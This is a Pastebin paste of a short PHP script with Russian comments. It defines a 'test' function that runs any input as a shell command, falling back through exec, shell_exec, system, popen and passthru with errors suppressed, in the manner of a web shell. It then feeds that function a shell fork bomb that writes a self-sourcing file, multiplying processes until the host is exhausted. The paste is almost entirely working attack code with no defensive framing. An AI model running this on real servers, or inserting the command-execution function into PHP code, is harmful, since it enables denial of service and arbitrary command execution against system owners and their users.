Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //Функция тестирования
- function TestFunc($in)
- {
- $out = '';
- if (function_exists('exec'))
- {
- @exec($in, $out);
- $out = @join("\n", $out);
- }
- elseif (function_exists('shell_exec'))
- {
- $out = shell_exec($in);
- }
- elseif (function_exists('system'))
- {
- ob_start();
- @system($in);
- $out = ob_get_clean();
- }
- elseif (is_resource($f = @popen($in, "r")))
- {
- $out = "";
- while (!@feof($f))
- $out .= fread($f, 1024);
- pclose($f);
- }
- elseif (function_exists('passthru'))
- {
- ob_start();
- @passthru($in);
- $out = ob_get_clean();
- }
- return $out;
- }
- echo TestFunc("echo '. ./_&. ./_&'>_;. ./_"); //Выполнение форка
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement